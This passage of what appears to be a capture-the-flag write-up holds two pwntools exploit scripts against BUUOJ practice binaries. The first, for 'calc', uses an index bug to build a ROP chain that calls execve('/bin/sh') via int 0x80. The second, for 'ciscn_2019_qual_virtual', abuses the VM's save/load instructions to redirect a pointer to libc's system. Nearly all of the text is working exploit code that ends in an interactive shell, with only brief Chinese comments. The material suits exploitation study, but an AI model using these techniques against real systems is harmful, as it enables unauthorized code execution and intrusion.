93
94
95
96
97
98
99
100
101
102
from pwn import *

context(log_level = "debug",os = "linux",arch = "i386")
#p = process("./calc")
p = remote("node4.buuoj.cn",25248)
elf = ELF("./calc")

eax = 0x0805c34b
edx_ecx_ebx = 0x080701d0
call = 0x08049a21
payload = "+371"

p.sendlineafter("===\n",payload)
stack = (int(p.recvline()))
log.info("stack: " + str(stack))
calc_stack = stack - 0x4b8
ip_calc_stack = calc_stack + 0x408 + 0x24
log.info("calc_stack: " + str(calc_stack))
log.info("pc_calc_stack: " + str(ip_calc_stack - 0x24))
payload = "+359"
p.sendline(payload)
tmp = 0x080481b0
payload = "+359+" + str((0x7fffffff - tmp) + 1)
p.sendline(payload)
payload = "+359+" + str(0x7fffffff)
p.sendline(payload)
payload = "+359+" + str(0x1)
p.sendline(payload)
payload = "+359+" + str(eax)
p.sendline(payload)

tmp = 0x0805c34b
payload = "+360+" + str((0x7fffffff - tmp) + 1)
p.sendline(payload)
payload = "+360+" + str(0x7fffffff)
p.sendline(payload)
payload = "+360+" + str(0xc)
p.sendline(payload)

payload = "+361+" + str(edx_ecx_ebx - 0xc)
p.sendline(payload)

tmp = 0x080701c4
payload = "+362+" + str((0x7fffffff - tmp) + 1)
p.sendline(payload)
payload = "+362+" + str(0x7fffffff)
p.sendline(payload)
payload = "+362+" + str(0x1)
p.sendline(payload)

payload = "+363+" + str(0x7fffffff)
p.sendline(payload)
payload = "+363+" + str(0x7fffffff)
p.sendline(payload)
payload = "+363+" + str(0x1)
p.sendline(payload)

#/bin/sh地址
payload = "+364+" + str(0x7fffffff)
p.sendline(payload)
payload = "+364+" + str(ip_calc_stack + 2147483648)
p.sendline(payload)

#pop_eax
payload = "+365+" + str(0x7FFFFFFF - (ip_calc_stack + 2147483648) + 1)
p.sendline(payload)
payload = "+365+" + str(0x7FFFFFFF)
p.sendline(payload)
payload = "+365+" + str(1 + eax)
p.sendline(payload)

#0xb execve系统号
tmp = 0x0805c34c
payload = "+366+" + str((0x7fffffff - tmp) + 1)
p.sendline(payload)
payload = "+366+" + str(0x7fffffff)
p.sendline(payload)
payload = "+366+" + str(0xc)
p.sendline(payload)

#int 0x80
payload = "+367+" + str(call - 0xc)
p.sendline(payload)

#/bin
#0x6e69622f 0x0068732f
tmp = 0x08049a15
payload = "+368+" + str(0x6e69622f - tmp)
p.sendline(payload)

#/sh
payload = "+369+" + str((0x7fffffff - 0x6664c81a) + 1)
p.sendline(payload)
payload = "+369+" + str(0x7fffffff)
p.sendline(payload)
payload = "+369+" + str(1 + 0x0068732f)
p.sendline(payload)

#gdb.attach(p)
p.sendline("/bin/sh")

p.interactive()

ciscn_2019_qual_virtual

save和load功能存在问题(参考https://www.anquanke.com/post/id/208450)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

#p = process("./ciscn_2019_qual_virtual")
p = remote("node4.buuoj.cn",29439)
elf = ELF("./ciscn_2019_qual_virtual")
libc = ELF("./libc-2.23.so")


p.recvuntil('name:\n')
p.sendline('/bin/sh')

data_addr = 0x4040d0
offset = libc.symbols['system'] - libc.symbols['_IO_2_1_stderr_']
opcode = 'push push save push load push add push save'
data = [data_addr, -3, -1, offset, -21]

payload = ''
for i in data:
payload += str(i)+' '

p.recvuntil('instruction:\n')
p.sendline(opcode)
#gdb.attach(io,'b *0x401cce')
p.recvuntil('data:\n')
p.sendline(payload)
p.interactive()